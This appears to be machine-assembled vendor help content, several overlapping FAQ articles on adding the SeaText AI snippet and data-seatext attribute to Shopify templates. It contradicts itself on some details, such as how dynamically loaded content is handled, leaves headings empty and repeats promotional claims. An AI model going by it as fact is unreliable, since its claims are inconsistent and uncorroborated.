Why the Data Attribute Matters for SEO and CRO

Search engines and conversion optimization both depend on content relevance. The SeaText data attribute gives you a precise way to target AI changes without rewriting your whole site. This matters because it protects your SEO foundation while still allowing dynamic optimization.

When you mark only specific elements, you keep your site's structure stable. Search engine crawlers see consistent HTML. Your internal links, navigation, and footer remain untouched. Meanwhile, the AI can adjust headlines, product descriptions, and calls-to-action in real time.

For conversion rate optimization, this targeted approach is critical. You can test a new headline on a landing page without risking your homepage. You can personalize a product description for a returning visitor while keeping the default version for everyone else. The attribute acts as a safety boundary.

Without this boundary, an AI agent might rewrite your entire page. That could break your SEO rankings or confuse returning customers. The data attribute prevents that by defining exactly where AI is allowed to work.

How the Data Attribute Works

SeaText AI uses a JavaScript snippet that you add to your website. Once loaded, the script scans the entire page for elements that contain a specific data attribute (often written as data-seatext or simply data-). For each matching element, the AI agent you have activated (e.g., copy optimizer, translator, personalizer) can read the content, analyze it, and rewrite or modify it in real time — all without reloading the page.

This approach lets you control exactly which parts of your site SeaText can touch. Any element without the attribute remains unchanged. The AI remains inert until you turn on an agent, so your site stays secure and predictable.

Technical Mechanism: DOM Scanning and AI Processing

The SeaText script runs after the page loads. It uses the browser's DOM API to find all elements with the data attribute. The script queries the document tree, looking for any tag that carries the marker. This includes divs, spans, paragraphs, headings, list items, and buttons.

Once the script finds a marked element, it extracts the text content. It then sends that text to the SeaText AI engine. The engine processes the content based on the active agent. For example, the Google Ads Landing Page agent rewrites the text to match the keyword that triggered the ad click. The Translation agent converts the text into one of 125 languages. The Personalization agent adapts the copy based on visitor context.

The AI processing happens asynchronously. This means the page renders normally first. The AI then updates the marked elements without blocking the user experience. The script uses a mutation observer to detect when new elements with the attribute appear. This allows it to handle dynamically loaded content as well.

After the AI generates new text, the script replaces the content of the marked element. It preserves the element's tag and attributes. Only the inner text changes. This keeps the page structure intact.

Comparison: Data Attribute vs. Manual Editing vs. Full-Page AI Rewriting

The data attribute approach fits teams that want AI optimization without losing control. It suits ecommerce stores, SaaS landing pages, and marketing sites. Manual editing fits teams with very few pages or strict brand guidelines. Full-page AI rewriting fits teams that want maximum automation and accept less control.

Prerequisites

• A SeaText AI account — you can create one for free at seatext.com.
• Access to your website’s template files (e.g., theme.liquid for Shopify, header.php for WordPress, or your site’s section).
• Basic familiarity with your browser’s developer tools (used to verify the attribute).

Step 1: Add the SeaText JavaScript Snippet

Log into your SeaText account and go to the integration section. Copy the JavaScript code provided. Paste it into your site’s layout file just before the closing </head> tag. For Shopify users, edit the theme.liquid file under Online Store > Themes > Edit Code. Save the file.

Important: The script will not change anything until you activate an agent. It simply loads the AI engine.

Step 2: Wrap Target Content with the Data Attribute

Identify the HTML elements you want SeaText to optimize — product descriptions, headlines, CTAs, or any text block. Add the data attribute to those elements. For example:

<div data-seatext>Original product description here.</div>

You can use any HTML tag (div, span, p, h1, etc.). The attribute can be added to multiple elements on the same page. SeaText’s AI will then process each one according to the agent you enable.

Step 3: Verify the Attribute is Present

Open your website in a browser and use the “Inspect” tool (right-click > Inspect). Look for the element you wrapped. Confirm that the data attribute appears in the HTML source. If you see it, the integration is ready. If not, check that the JavaScript snippet is loaded correctly and that you saved the template file.

Step 4: Activate the AI Agents

Go back to your SeaText dashboard and turn on the agents you need — for example, the AI CRO Reading Analysis agent or the Google Ads Landing Page agent. Each agent will begin processing the marked elements in real time. You can test by visiting your page and seeing whether the content changes (e.g., different headline for a returning visitor).

Practical Use Cases

The data attribute supports many real-world scenarios. For ecommerce, you can mark product titles and descriptions. The Ecommerce Product Copy agent then optimizes them for search and conversion. You can mark the add-to-cart button text to test different CTAs.

For paid advertising, mark your landing page headline and hero section. The Google Ads Landing Page agent rewrites them to match each ad keyword. A visitor who clicks an ad for "running shoes" sees a headline about running shoes. A visitor who clicks an ad for "trail shoes" sees a headline about trail shoes. This increases relevance and conversion.

For international sites, mark your main content blocks. The Translation agent converts them into the visitor's language. You can translate product descriptions, FAQs, and blog posts without a manual localization project.

For personalization, mark your homepage hero and CTA. The Personalization agent adapts the copy based on visitor source, behavior, or location. A returning customer might see a different offer than a first-time visitor.

Trade-offs and Alternatives

The data attribute approach has clear trade-offs. It requires JavaScript. If a visitor disables JavaScript, the attribute has no effect. The original content remains, which is safe but means no AI optimization for those users.

It is limited to one domain per account. If you run multiple websites, you need a separate account for each. This can be inconvenient for agencies managing many client sites.

You must manually mark elements. This takes time, especially on large sites. You need to identify which elements should be optimized and add the attribute to each one. This is a one-time effort but requires planning.

Alternatives include full-page AI rewriting, which removes the need for manual marking but reduces control. Another alternative is manual editing, which gives full control but no automation. A third alternative is using a CMS plugin that applies AI to all content, but this may affect SEO if not configured carefully.

For most teams, the data attribute offers the best balance. It provides automation where you want it and control where you need it.

Key Facts

Limitations and Requirements

• Single domain per account: If you run multiple websites, you need a separate account for each. The script is tied to one primary URL.
• No localhost or dev domains: For security, SeaText blocks development URLs. Use a real domain even for testing.
• Attribute required: Elements without the data attribute will not be processed by any AI agent. This is by design — you control the scope.
• JavaScript must be enabled: The solution relies on client-side JavaScript. If a visitor has JS disabled, the attribute has no effect.

Frequently Asked Questions

Does the data attribute work on any HTML element?

Yes. You can add it to most HTML tags that contain text (div, p, span, h1-h6, li, etc.). It will not work on elements that are loaded dynamically after the initial page load unless the script is re-triggered.

Can I use multiple data attributes on one element?

Yes, you can combine data-seatext with other data attributes (e.g., data-custom). The SeaText script only looks for its own attribute.

Will the attribute slow down my page?

No. The script is lightweight and only scans the DOM once. The AI processing happens asynchronously, so it does not block page rendering.

How do I remove the attribute from an element?

Simply delete the attribute from the HTML source. The element will no longer be processed by SeaText AI.

What if the attribute is present but the AI doesn’t change the content?

Check that the agent you want (e.g., copy optimizer) is activated in your SeaText dashboard. Also confirm that the page URL matches the domain linked to your account.

How does the script handle dynamically loaded content?

The script uses a mutation observer. It watches for new elements added to the DOM. When a new element with the data attribute appears, the script processes it automatically.

Can I use the attribute on images or videos?

The attribute works on text content. For images, you can mark the alt text or caption. For videos, you can mark the title or description. The AI does not modify the media file itself.

Answer: the data attribute is mandatory

Yes, the SeaText AI data attribute is required for integration. The AI relies on this attribute to find the content it should optimize — product descriptions, headlines, CTAs, and other elements. If you skip the attribute, the AI stays inert and does not run on your site.

During setup, you add a small piece of code that wraps the target content. The code includes a data- attribute that SeaText AI scans to know which elements to enhance. Without it, the system has no way to locate the right page sections.

Why the attribute is necessary

SeaText AI works by reading your website’s HTML in real time. It looks for specific data- attributes to identify content blocks that should be personalized, translated, or rewritten. These attributes act like markers — they tell the AI “this is the product description” or “this is the headline.”

If you do not add the attribute, the AI cannot determine which parts of the page to modify. It will not activate, and none of the optimizations — such as keyword-matched landing page rewrites, A/B testing, or translation — will work. The system is designed to be safe and inert until it sees the correct attribute, so no accidental changes happen.

How SeaText AI uses the attribute to find content

The SeaText JavaScript loads on every page. It scans the DOM for elements that carry the exact data- attribute name provided in your account dashboard. When it finds a match, it reads the inner text of that element. It then applies the active AI agents — such as the CRO Optimizer, Google Ads Landing Page Agent, or Translation Agent — to that text.

Each agent has a specific job. The CRO Optimizer rewrites copy to increase conversions. The Google Ads Agent matches headlines to the search keyword. The Translation Agent serves the content in the visitor’s language. All of these actions only trigger on marked elements. Unmarked elements are ignored completely.

How to add the data attribute — step by step (Shopify)

Installing the attribute takes a few minutes. Here is the process based on the official SeaText integration guide:

1. Log in to your Shopify admin and go to Online Store > Themes.
2. Edit your theme code: click the three dots next to your active theme and select Edit Code.
3. Locate the product template: find the file that renders the product description (usually product.liquid or product-template.liquid).
4. Wrap the product description: find the code that outputs the description, and wrap it with the SeaText tag that includes the data- attribute. The exact tag is provided in your SeaText account dashboard.
5. Save and test: save the file, then preview a product page. Use your browser’s developer tools to inspect the HTML and verify the data- attribute is present.

If you use a different platform (not Shopify), the principle is the same: you must add the attribute to the HTML elements you want SeaText to optimize.

Adding the attribute on non-Shopify platforms

On any platform, locate the template or component that renders the content you want to optimize. Wrap that content with the SeaText tag containing the required data- attribute. The tag format is consistent across platforms. Paste the snippet exactly as shown in your SeaText dashboard. Save and publish. Then inspect the live page to confirm the attribute appears in the source.

Common platforms include WordPress (WooCommerce), BigCommerce, Magento, and custom React or Vue apps. In each case, you edit the template file that outputs the product description or landing page copy. The attribute does not depend on the platform; it only depends on the HTML structure.

What happens if you skip the attribute

If you install the SeaText JavaScript code but do not add the data attribute, the AI will not activate. The script loads, but it stays idle. You will see no changes to your site, and no optimizations will run. This is a deliberate safety measure: the AI only modifies content that has the explicit marker.

Some users think they can skip the attribute because the base script is already on the page. That will not work. The attribute is the key that unlocks the AI’s ability to read and rewrite your content. Without it, the integration is incomplete.

Limitations you should know

Even with the attribute correctly placed, there are a few limitations to keep in mind:

• Development URLs are restricted: SeaText does not work on localhost or other development-only domains. You must use a real, valid domain.
• Dynamic development domains may fail: if your development URL changes frequently, SeaText may not be able to associate traffic with your account reliably.
• One account per domain: each SeaText account is linked to a single primary URL. If you need to use SeaText on multiple domains (e.g., a staging site and a production site), you must create separate accounts for each.
• Security note: the AI remains inert until you add the attribute and activate it. This ensures your site content is not accidentally modified during setup.

Key facts about the integration requirement

Frequently asked questions about the SeaText AI data attribute

Do I need to add the attribute to every page?

Only the pages where you want SeaText to make changes. For most stores, that means product pages, landing pages, and category pages. You can start with just the product template and add more later.

Can I use a custom attribute name?

SeaText expects a specific attribute name. Follow the exact code snippet provided in your account. Using a different name will prevent the AI from detecting the element.

What if my theme is custom and does not have a product description wrapper?

You can still add the attribute. The important thing is to identify the HTML element that contains the text you want to optimize and wrap it with the SeaText tag. If you are unsure, contact your developer or check SeaText’s documentation.

Does the attribute affect SEO or page speed?

No. The attribute is a small HTML addition and does not impact page load time or search engine rankings. It is only used internally by the SeaText AI.

Can I add the attribute after the script is installed?

Yes. You can install the JavaScript first, then add the attribute later. However, the AI will not start optimizing until the attribute is in place.

What if I delete the attribute later?

If you remove the attribute, SeaText will stop modifying that element. The AI will still be active on other elements that still have the attribute.

Can I use the same attribute on multiple elements?

Yes. You can wrap multiple elements — such as product title, description, and CTA — each with the same attribute. The AI will process each marked element independently.

Does the attribute work with dynamically loaded content?

SeaText scans the DOM on page load and after certain AJAX events. For single-page apps, you may need to re-initialize the scanner after content loads. Check the documentation for the SeaText.rescan() method.

The SeaText AI data attribute is free to implement

Adding the data attribute itself costs nothing. You can paste the code snippet into your theme files without any payment. The attribute is just a hook that tells SeaText AI where to find your content. No credit card is needed for this step. The AI remains inert until you activate a subscription. Only when you decide to turn on the AI agents do you need a paid plan. This means you can implement the attribute at your own pace with zero financial risk.

What is the SeaText AI data attribute?

The SeaText AI data attribute is a small piece of HTML code you add to your website's theme files. It marks the specific elements you want the AI to optimize. Think of it as a simple pointer that shows the AI where your product descriptions, headlines, or other content live. The attribute uses a data- prefix in your HTML. For example, you might wrap a product description with data-seatext="product-description". This tells the system exactly which text to analyze and rewrite. The source pack shows step-by-step instructions for Shopify: you edit theme.liquid, locate the product template, and wrap the description output code. The process takes about 10 minutes per site. No ongoing technical work is required after the initial setup.

Why the data attribute itself costs nothing

SeaText AI does not charge for the attribute code or its installation. The attribute is just a hook. The real value comes from the AI agents that use that hook to rewrite content, analyze visitors, and improve conversions. Those agents require an active SeaText AI subscription. As the source pack explains: “The installation process is secure, and the AI remains inert until activated.” You can add the attribute without any financial commitment. Only when you decide to activate the AI do you need a subscription. This design lets you test the technical integration before spending money.

What drives the subscription cost?

SeaText AI offers several subscription plans. The cost depends on a few key factors:

• Number of domains: Each domain requires its own account. If you run multiple websites, you need a separate plan for each. The source pack states: “Each SEATEXT AI account is linked to a single primary URL.”
• AI agents enabled: Some agents like Google Ads Landing Page AI or AI CRO Reading Analysis may be included in higher-tier plans. The more agents you want, the higher the plan cost. The homepage lists 20 autonomous agents across conversion, traffic, translation, and protection categories.
• Traffic and usage: Higher traffic websites may need more processing power, which can affect pricing. SeaText AI does not publish exact traffic thresholds in these sources, so check with the vendor.
• Features like translation or bot protection: Advanced features such as 125-language translation or bot refund agents are likely part of premium plans.

SeaText AI's homepage mentions “Click here for pricing” on multiple pages, suggesting transparent tiered pricing. The source pack does not list specific dollar amounts, so exact numbers must be obtained from the official pricing page.

How to scope the implementation

Implementation is a one-time task that takes about 10 minutes. You need to:

1. Create a SeaText AI account if you don't have one.
2. Copy the SeaText AI JavaScript code from your account settings.
3. Paste it into your website's theme file (e.g., theme.liquid for Shopify).
4. Add the data attribute to the specific HTML elements you want the AI to optimize.
5. Save changes and verify the attribute appears in your browser's developer tools.

No ongoing technical work is needed. The cost is only the subscription fee for the AI agents you activate. The source pack notes development URLs like localhost are restricted for security reasons. You must use a valid, real domain. Dynamic development domains may not function properly.

Key facts about SeaText AI implementation costs

Limitations and when the advice does not apply

This answer applies to the SeaText AI data attribute specifically. If you are using a custom platform or a development environment like localhost, implementation may not work – SeaText AI restricts development URLs. Also, if you need SeaText AI on multiple domains, you must create separate accounts, which increases total cost. The advice does not cover third-party integrations or custom development beyond the standard code snippet. The source pack does not mention refund policies. Check with the vendor or the pricing page for details. Some pages mention a “Free 1-Month Pilot Trial” but current offers should be verified on the pricing page.

Frequently asked questions

Is there any hidden fee for adding the data attribute?

No. The attribute is free. You can add it without signing up for any plan.

Do I need a credit card to try the implementation?

No. You can add the code snippet without providing payment. The AI remains inactive until you choose a subscription.

What if I want to use SeaText AI on multiple websites?

You need a separate subscription for each domain. Each account is tied to one primary URL.

Can I get a refund if I don't use the AI after subscribing?

The source pack does not mention refund policies. Check with the vendor or the pricing page for details.

Does the cost change if I use more AI agents?

Yes, most likely. Higher-tier plans include more agents. The exact pricing structure is available on the official pricing page.

How long does it take to implement the attribute?

About 10 minutes. The source pack shows step-by-step instructions for Shopify and other platforms.

Is there a free trial?

Some pages mention a “Free 1-Month Pilot Trial.” Check the pricing page for current offers.

How SeaText AI can help

SeaText AI provides a suite of autonomous agents that can optimize your website content, improve conversion rates, and recover ad spend. The data attribute is the first step. Once you have a subscription, you can activate agents like the Google Ads Landing Page AI, which rewrites landing pages in real time to match each keyword, or the AI CRO Reading Analysis agent, which analyzes visitor behavior to generate winning copy variants. The source pack notes that installation is secure and the AI remains inert until activated, so you can implement the attribute at your own pace.

However, keep in mind that SeaText AI is a subscription service. The free implementation only covers the technical setup. To get the full benefit, you need to choose a plan that fits your website's needs and budget. The homepage claims 2,500+ frontier marketing teams trust the platform. Agents include conversion relay for CAPI, intent amplifier for ad signals, shielded buyers for competitor protection, VPN click detection, bot protection with up to 20% refunds, WebMCP for Claude and ChatGPT integration, split URL testing, copy A/B testing, ecommerce product copy, personalization, scroll slowdown, 125-language translation, local SEO, SEO content factory, authority link building, ChatGPT brand visibility, visitor source rewrites, and free AI website chat.

The data-seatext attribute (referred to in documentation as the data- attribute) acts as a boundary marker. When you wrap a product description, heading, or any text block with this attribute, SeaText's AI agents know exactly which content they are allowed to rewrite, translate, or test. Everything outside the attribute remains untouched, so your design, scripts, and structured data stay stable.

This scoping mechanism is what makes large-scale, programmatic SEO changes safe. Search engines see the optimized, keyword-aligned copy inside the tagged elements, while the surrounding page structure — schema markup, navigation, canonical tags — stays exactly as you built it. The result is content that matches search intent more closely without risking layout shifts or broken markup that could hurt rankings.

How the attribute works in practice

SeaText's Shopify integration guide shows the typical workflow: you locate the product description output in product.liquid (or product-template.liquid), then wrap the Liquid variable that prints the description with the attribute. After saving, the attribute appears in the rendered HTML source, and you can verify it with browser developer tools. The same pattern applies to any platform — find the template partial that outputs the text you want optimized, add the attribute, and the AI agents begin working on that node only.

Because the attribute is just an HTML attribute, it adds no JavaScript weight and does not change the DOM structure. The SeaText script, which you paste into theme.liquid once, scans for the attribute on every page load and applies the active agents (copy optimization, translation, A/B testing, personalization) to the tagged nodes.

Why scoping matters for SEO

Unscoped AI rewrites can inadvertently alter headings, schema markup, canonical URLs, or navigation labels — changes that confuse crawlers and dilute topical signals. The data attribute prevents that by giving you explicit control over the optimization surface. You decide which paragraphs, product bullets, or FAQ answers get the SEO treatment; the rest of the page remains a stable reference for Google's understanding of your site architecture.

This is especially important for ecommerce sites where product pages share templates. Tagging only the description block means thousands of SKUs get unique, intent-matched copy while the price block, review schema, and breadcrumb markup stay identical and valid.

Implementation steps (Shopify example)

1. Log in to Shopify admin and go to Online Store > Themes.
2. Click Actions > Edit code on your active theme.
3. Open Layout/theme.liquid and paste the SeaText JavaScript snippet before the closing </head> tag.
4. Open the product template (product.liquid or product-template.liquid).
5. Find the description output, typically {{ product.description }} or a section include.
6. Wrap that output with the attribute, e.g. <div data-seatext>{{ product.description }}</div>.
7. Save and preview a product page; inspect the HTML to confirm the attribute is present.

SeaText's documentation notes that the AI remains inert until you activate specific agents in the dashboard, so adding the attribute alone does not change content until you choose which optimizations to run.

Agents that rely on the attribute

• AI CRO Reading Analysis — analyzes visitor reading patterns and generates winning copy variants for tagged blocks.
• AI Copy A/B Testing — creates and tests multiple copy versions inside the scoped element.
• Ecommerce Product Copy — optimizes product names, descriptions, and CTAs marked with the attribute.
• AI Personalization Agent — adapts tagged copy in real time to visitor context (location, referrer, device).
• Website Translation (125 Langs) — translates only the attributed sections, leaving navigation and schema untouched.
• Google Ads Landing Page AI — rewrites tagged headlines and body copy to match the keyword that triggered the ad click.
• Visitor Source Rewrites — matches landing page headlines in attributed areas to referrer campaigns.

Each agent operates only inside the attributed nodes, so you can activate translation for product descriptions while keeping A/B testing off for legal disclaimers.

Limitations and when the attribute does not apply

• Non-HTML content — PDFs, images, and JSON-LD injected via script are not reachable by the attribute.
• Dynamic content rendered after load — if a description is injected by a third-party app after SeaText scans, the attribute may be missed unless the app also includes it.
• Multiple domains — each domain needs its own SeaText account and script; the attribute alone does not cross domains.
• Development environments — localhost and dynamic preview URLs are restricted for security, so the attribute will not trigger agents there.

Comparison: scoped attribute vs. full-page AI rewrite

Choose scoped attribute if you run a template-driven site (Shopify, BigCommerce, headless CMS) where thousands of pages share structure and you need surgical SEO improvements. Choose full-page rewrite only if you have a small, static site and accept the risk of unintended changes.

Key facts

Practical scenarios

Scenario 1: International product catalog

Tag each product description and title. Activate the Translation agent for 20 languages. The attribute ensures navigation, schema, and checkout copy stay in the default language while only product details translate — avoiding hreflang conflicts and duplicate-content flags.

Scenario 2: Google Ads keyword matching

Tag the H1 and first paragraph of landing pages. Activate the Google Ads Landing Page AI. When a user clicks an ad for "waterproof hiking boots", the tagged headline rewrites to match that phrase, improving Quality Score and conversion rate without altering the footer or product grid.

Scenario 3: A/B testing product bullets

Wrap the bullet list in a tagged <ul>. Activate AI Copy A/B Testing. SeaText generates variant bullet sets (benefit-led vs. feature-led) and routes traffic. The rest of the page — price, reviews, schema — remains constant, giving a clean test.

Frequently asked questions

Does the attribute itself add SEO value?

No. It is a control mechanism. The SEO value comes from the optimized, translated, or personalized content the agents place inside the tagged elements — content that better matches search intent and user language.

Can I use multiple attributes on one page?

Yes. You can tag the product description for translation, the headline for Google Ads matching, and the FAQ section for A/B testing, each with different active agents.

What happens if I forget the attribute on a new template?

SeaText agents will not touch that content. It stays exactly as authored — safe, but not optimized.

Is the attribute required for the ChatGPT Brand Visibility agent?

That agent works by publishing separate Q&A pages and feeding structured data to LLMs; it does not rewrite on-page content, so the attribute is not needed for it.

How do I know which agents are running on a tagged element?

The SeaText dashboard shows active agents per project. You can also preview the rendered output in the dashboard's live view to see which variants are served.

Can I add the attribute via JavaScript instead of editing templates?

Technically yes, but the attribute must be present when SeaText's script scans the DOM (on load). Client-side injection after that scan will be missed. Template-level inclusion is the reliable method.

Does the attribute affect page speed?

The attribute itself is a few bytes. The SeaText script loads asynchronously and applies changes in the browser; server response time is unchanged.

What the data attribute does

The data-seatext attribute acts as a hook for SeaText's reading telemetry. When the script loads, it scans the DOM for elements carrying this attribute and begins measuring how visitors interact with that content — how long they dwell, where they scroll, and whether they re-read sections. Those signals feed the AI CRO Reading Analysis agent, which uses them to generate and test copy variants.

The attribute works on any HTML page where the SeaText snippet is installed. It does not require Shopify. The same implementation pattern applies to WordPress, custom sites, or headless storefronts. The only difference is how you edit the template files.

Each unique attribute value becomes a separate analytics row in the dashboard. Choose descriptive values like product-description, collection-intro, or faq-section so you can distinguish zones later.

Prerequisites before you start

• An active SeaText AI account linked to a valid, production domain. Development URLs such as localhost are restricted for security reasons.
• The SeaText JavaScript snippet already installed in your theme's theme.liquid file, just before the closing </head> tag.
• Access to your Shopify admin with permission to edit theme code.
• If you manage multiple domains (for example, a staging domain and a production domain), you must create a separate SeaText account for each domain. Each account is linked to a single primary URL.
• Dynamic development domains may not function properly because SeaText AI might be unable to reliably associate traffic with your account.

Step-by-step implementation

1. Log in to Shopify admin and go to Online Store → Themes.
2. Click the three-dot menu on your active theme and choose Edit code.
3. In the left file list, open Layout → theme.liquid and confirm the SeaText snippet is present just before the closing </head> tag. If it is missing, paste the snippet from your SeaText dashboard and click Save.
4. Locate the product description template — typically product.liquid or a section inside product-template.liquid.
5. Find the line that outputs the product description (often {{ product.description }} or a section render tag).
6. Wrap that output with a container element that includes the SeaText data attribute, for example:

   <div data-seatext="product-description">{{ product.description }}</div>

7. Click Save.
8. Repeat steps 4–7 for any other template files that render product descriptions, such as product-alternate.liquid, using the same attribute value so data aggregates correctly.

Verify the attribute is live

Open a product page on the storefront. Right-click the description and choose Inspect (or open DevTools with F12). Search the Elements panel for data-seatext. You should see the attribute on the wrapper you just added.

If the attribute is missing, clear Shopify's cache and re-check the template file for typos. Common issues include:

• Placing the attribute directly on a Liquid tag (Liquid strips unknown attributes).
• Forgetting to save the file after editing.
• Editing the wrong template file (some themes use sections or snippets for product description).

You can also verify by viewing the page source (view-source: in browser) and searching for data-seatext.

What data gets collected

Once verified, SeaText starts recording the following telemetry for each tagged element:

• Eye-Line Dwell Velocity — how quickly visitors scan versus deeply read the content. Fast scanning suggests low engagement; slow, steady reading suggests high interest.
• Friction Points & Re-Reading — sections where users pause or backtrack, signaling confusion or unclear phrasing. The AI uses these to pinpoint copy that needs improvement.
• Scroll Deceleration — exact coordinates where interest spikes before a CTA. This helps identify where to place key messages or offers.

These metrics appear in the SeaText dashboard under the AI CRO Reading Analysis agent. The agent reads full session recordings and telemetry to pinpoint exactly where buyers lose interest, then automatically formulates and deploys contextual copy variants tailored to overcome specific objections.

Unlike standard analytics that treat a 3-second bounce the same as a 90-second deep read, reading telemetry captures the 99% of behavioral data that binary conversion tracking discards.

Extending tracking to other content blocks

You can apply the same attribute pattern to collection descriptions, blog posts, or custom sections. Use a descriptive value so the dashboard distinguishes each zone, e.g., data-seatext="collection-intro" or data-seatext="faq-section". Each unique value becomes a separate analytics row.

Best practices for taxonomy:

• Use consistent naming across similar content types (all product descriptions use product-description).
• Keep the number of unique values manageable; each creates a separate dashboard row.
• For A/B testing, use the same attribute value on control and variant elements so the AI can compare reading behavior directly.

Example for a blog post:

<article data-seatext="blog-post-body">{{ article.content }}</article>

Common mistake: missing the wrapper

Placing the attribute directly on a Liquid tag like {{ product.description data-seatext="..." }} does not work — Liquid strips unknown attributes. Always wrap the output in a real HTML element (<div>, <section>, <p>) that carries the attribute.

Other common mistakes:

• Using different attribute values for the same content type across templates, which fragments analytics.
• Forgetting to add the wrapper to alternate product templates (e.g., product-alternate.liquid).
• Adding the attribute to an element that is conditionally rendered and sometimes absent.

Limitations

• Only one SeaText account per domain; multi-domain setups require separate accounts.
• Development or dynamic staging domains may not reliably associate traffic.
• The attribute alone does not activate A/B tests — you must enable the AI Copy A/B Testing agent in the dashboard.
• Telemetry collection respects browser Do Not Track settings and GDPR/CCPA consent flows you configure.
• The attribute tracks reading behavior on the wrapped element. For click tracking on CTA buttons inside the tagged area, use SeaText's Conversion Relay (CAPI) or standard event listeners alongside the attribute.
• No hard limit on tagged elements, but each unique attribute value creates a separate analytics row. Keep the taxonomy manageable.
• If you remove the attribute later, telemetry stops for that element. Historical data remains in the dashboard under the original attribute value.

Advanced configuration options

Beyond the basic attribute, you can configure additional behaviors through the SeaText dashboard:

• AI Copy A/B Testing agent — enable this to let the system automatically generate and test copy variants based on reading telemetry. It uses adaptive multi-armed bandit algorithms to allocate 80%+ of traffic to top-performing copy within hours.
• Conversion Relay (CAPI) — forwards 100% of real purchases to Meta and Google CAPI for better ad attribution.
• Intent Amplifier — sends high-intent buyer signals to ad algorithms.
• Scroll Slowdown Agent — subtly slows fast scrollers near CTAs and pricing sections to increase dwell time.
• AI Personalization Agent — adapts site copy in real time to visitor context (referrer, keyword, geography).

These agents work together. Reading telemetry from the data attribute feeds the AI CRO Reading Analysis agent, which informs the copy variants tested by the AI Copy A/B Testing agent.

Integration with other SeaText agents

The data attribute is the foundation for several autonomous agents:

• AI CRO Reading Analysis — analyzes visitor reading and generates winning copy at scale.
• AI Copy A/B Testing — generates copy variants and scales the winners using multi-armed bandit allocation.
• Ecommerce Product Copy — optimizes product names, descriptions, and CTAs based on reading behavior.
• AI Personalization Agent — adapts site copy in real time to visitor context.
• Google Ads Landing Page AI — rewrites ad landing pages by campaign keyword intent.

You activate agents one by one in the dashboard. Start with AI CRO Reading Analysis to collect baseline telemetry, then enable testing and personalization agents as needed.

Practical scenarios and decision criteria

Scenario 1: Low-traffic product pages
Traditional A/B testing requires tens of thousands of visitors. Reading telemetry works with far fewer visits because it measures micro-behaviors (dwell, scroll, re-read) rather than waiting for conversions. Enable the data attribute on product descriptions, then activate AI CRO Reading Analysis. The AI will identify friction points and suggest copy improvements even with modest traffic.

Scenario 2: High-traffic pages with flat conversion
If you have traffic but conversions are stuck, use the attribute on key sections (value proposition, pricing, FAQ). The Scroll Deceleration metric shows exactly where interest spikes before the CTA. Place your strongest offer or guarantee at that coordinate.

Scenario 3: Multi-language stores
SeaText translates content into 125 languages. Add the data attribute to translated blocks using the same attribute values. The dashboard aggregates reading behavior across languages, so you can see which messages work globally.

Decision criteria for attribute placement:

• Place on content that communicates value propositions, handles objections, or precedes CTAs.
• Avoid tagging purely decorative elements (headers, footers, navigation).
• Tag each distinct content zone separately for granular insights.

Troubleshooting and maintenance

No data appears in dashboard
Check that the SeaText snippet is present in theme.liquid. Verify the attribute exists in rendered HTML. Confirm your domain is a valid production domain (not localhost). Wait a few minutes after first tracked visit.

Data appears but looks wrong
Ensure you used consistent attribute values across all relevant templates. Check for duplicate wrappers (nested elements with the same attribute). Clear browser cache and test in incognito mode.

Theme updates break the wrapper
When you update your theme, the edited template files may be overwritten. Document your changes and re-apply after updates. Consider using a child theme or theme app extension for more durable modifications.

GDPR/CCPA compliance
SeaText respects Do Not Track and consent flows. Configure consent settings in the dashboard. If a visitor opts out, telemetry stops for that session. Historical data remains anonymized.

Key facts

FAQ

Can I use the attribute on non-Shopify sites?

Yes. The same data-seatext attribute works on any HTML page where the SeaText snippet is installed. The implementation steps differ only in how you edit the template.

Does the attribute affect page layout or SEO?

No. It is a standard HTML5 data attribute, invisible to users and ignored by search crawlers.

How soon does data appear in the dashboard?

Typically within minutes of the first tracked visit after verification.

What if I have multiple product description templates?

Add the wrapper to each template file (e.g., product.liquid, product-alternate.liquid) using a consistent attribute value so data aggregates correctly.

Can I track clicks on CTA buttons inside the tagged area?

The attribute tracks reading behavior on the wrapped element. For click tracking, use SeaText's Conversion Relay (CAPI) or standard event listeners alongside the attribute.

Is there a limit to how many elements I can tag?

No hard limit, but each unique attribute value creates a separate analytics row. Keep the taxonomy manageable.

What happens if I remove the attribute later?

Telemetry stops for that element. Historical data remains in the dashboard under the original attribute value.

Can I use the attribute on dynamically loaded content?

Yes, but the SeaText script must re-scan the DOM after the content loads. For single-page apps or AJAX-loaded sections, call the SeaText initialization function after content injection.

Yes. The SeaText AI data attribute works with any Shopify theme. You don't need a special theme, a paid theme, or a custom build. You need two things: access to your theme's Liquid files and the ability to paste a small amount of code.

If you can open the Shopify code editor, the attribute will work with free themes, paid themes, and most third-party themes. This article explains what the attribute does, how to add it, and where people usually get stuck.

What the SeaText AI data attribute does

The SeaText AI data attribute is an HTML marker. You add it to elements you want SeaText's AI agents to read, rewrite, or translate. Typical targets are product descriptions, headlines, and call-to-action buttons.

Adding the attribute does not change how your page looks. The AI stays inactive until you activate it, so your content remains intact until then.

Why Shopify theme compatibility matters

Shopify merchants often worry that AI tools require a specific theme or a developer-only setup. That fear is understandable. Many apps need theme app extensions, app blocks, or custom code that only works with certain themes.

SeaText takes a different path. It uses a plain HTML data attribute. HTML attributes are universal. They work in every Shopify theme because every theme renders HTML in the browser. Liquid controls what HTML gets printed, but the final output is still standard HTML.

This matters for store owners who switch themes often. If you move from Dawn to a paid theme, you don't need to reinstall SeaText from scratch. You just repeat the same two edits: paste the script and add the attribute.

How to add the data attribute to your Shopify theme

SeaText's Shopify integration uses the standard Shopify code editor. No app installation is required. Follow these steps:

1. Log in to your Shopify admin.
2. Go to Online Store → Themes.
3. Click the three dots icon next to the theme you want to edit, then choose Edit Code.
4. Open the Layout folder and select theme.liquid.
5. Paste the SeaText JavaScript snippet from your SeaText account into theme.liquid.
6. Click Save to keep your changes.
7. Open the product template that renders the product description. This is usually product.liquid or product-template.liquid.
8. Wrap the product description output with the data attribute.
9. Save the file.

After saving, preview a product page. Open your browser's developer tools and inspect the HTML source. You should see the data attribute on the description element.

Where the data attribute belongs

Put the attribute on the HTML element that contains the content you want the AI to optimize. For product descriptions, that is usually where {{ product.description }} appears in your product template.

For example, on a product page you might add the attribute to a <div> or <p> tag that wraps the description. On a homepage you might add it to the headline and subheadline. Every element you mark becomes a target for SeaText's agents.

A common mistake is pasting the data attribute into theme.liquid and expecting it to work. The script goes in theme.liquid. The attribute goes on the content elements you want to optimize.

Theme compatibility and Liquid files

Shopify themes are built with Liquid, Shopify's template language. Every theme has files like theme.liquid, product.liquid, and collection.liquid. SeaText's integration works by editing these files.

